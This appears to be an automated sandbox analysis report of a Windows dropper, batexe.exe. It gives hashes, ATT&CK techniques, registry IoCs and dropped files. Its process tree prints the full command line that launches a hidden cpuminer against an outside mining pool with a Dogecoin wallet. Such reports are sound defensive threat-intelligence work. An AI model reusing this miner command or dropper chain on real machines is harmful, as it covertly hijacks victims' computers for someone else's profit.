73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22-02-2024 04:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
316	b2e.exe
3140	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3140	cpuminer-sse2.exe
3140	cpuminer-sse2.exe
3140	cpuminer-sse2.exe
3140	cpuminer-sse2.exe
3140	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1080-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 316	1080	batexe.exe	87
PID 1080 wrote to memory of 316	1080	batexe.exe	87
PID 1080 wrote to memory of 316	1080	batexe.exe	87
PID 316 wrote to memory of 1480	316	b2e.exe	88
PID 316 wrote to memory of 1480	316	b2e.exe	88
PID 316 wrote to memory of 1480	316	b2e.exe	88
PID 1480 wrote to memory of 3140	1480	cmd.exe	91
PID 1480 wrote to memory of 3140	1480	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\62B1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\b2e.exe

Filesize
10.7MB

MD5
53b3fa234fcccb25d0d46a47a0dea7da

SHA1
9fd9bdffc7a4cb29d81ba2e0ece1941b20a6df88

SHA256
bd14bd4f69484897486a162685c38371ff74c17baa840602bf62d80cee4103dc

SHA512
60ad03ef12f60ccd4d9ce41f02599472b4ade8554d2525533378709e27db412f640287bbd247593d130a8d7ca29abadf468d54bb1da2e17d1c5aa470e57ceb9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\b2e.exe

Filesize
3.6MB

MD5
6f41ee6213addc2de3e8570201942881

SHA1
d997279cd97fea1a9579498a933926fb98ac7877

SHA256
17fbe364defbb72967d736c6f17f27e6ce39ae2320fcf991ae3f97a348fa69f0

SHA512
8914ae28ced906da3ebba66eee1d6ddd67a9fe697eb70b8896c0e06cc904bd7750311001551f820219c5ac2f07e627fe611ea3481e128abff201948e698aecf3

Download Submit
C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\b2e.exe

Filesize
2.3MB

MD5
edd2541d33e030c1b4c2fc171fe4fab0

SHA1
8ab3c8c82f5211afdcfcbe61316db3db266f5484

SHA256
72e4f67f0d2746e2e7a70b3d2af4132d546c2125931cc8081a3a36bd90084f30

SHA512
102c240c556e00c6a6b7e34b4cb24a53b5a25a1a4059e78eb8068254c4f384a488913f15c4ae1e2ad43dabf5ced5226f1915c3e3d0a8d792423d0625c5af145c

Download Submit
C:\Users\Admin\AppData\Local\Temp\62B1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
11406d581a3efef60e4ccfa2f3d1310d

SHA1
3639c78f0ef5f55d46ec2b6c0993a0bb5138fac8

SHA256
648be59f8d4eb46d6b55e17f5cf18d64f881962f6474089576156133a38caf3a

SHA512
1934ec000e22079c7d3e28db38cda2f5b3abc3cb087d7392387901d70c16a7c76b07a0a2bbf56e76bc8fc86d4cbca737fcfdeb6ac3c9c286d168895cf6f6ffc5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.0MB

MD5
e3d0d9e6a35a0c548c616ac3070dc473

SHA1
fc995e9d311c1d7d4d844944509220d743978691

SHA256
17519a3e60f600efef1a45d72772d09b24deab917f3b9d49ae24dee0e20b0e70

SHA512
dc6e5107ec7b6024f62d3899f0d46fded4ff4278d3d01f15f3bf188dd513c19e20f87e7a68f40d64262a37e5bad64d5722996e18be1f30c7fc5b676521867353

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
0d796debfdaa8bf8ec46c8b1bbdae82f

SHA1
f96e16a4661b3da023f0cfe1e221ba026704b11a

SHA256
e6417979d2bbe3832a18a85fef75f9358b59211c4e7df1e8c40dcacd5b128ddc

SHA512
883b07679879b00c448e717ac63ab26e5d303607033bfc5f6a747f5d84b1775163199a4326111d75287996fbf63616e78325c77bc7f15950efc8153a41202642

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/316-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/316-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1080-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3140-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3140-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-46-0x0000000060AE0000-0x0000000060B78000-memory.dmp

Filesize
608KB

Download
memory/3140-47-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/3140-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3140-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3140-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download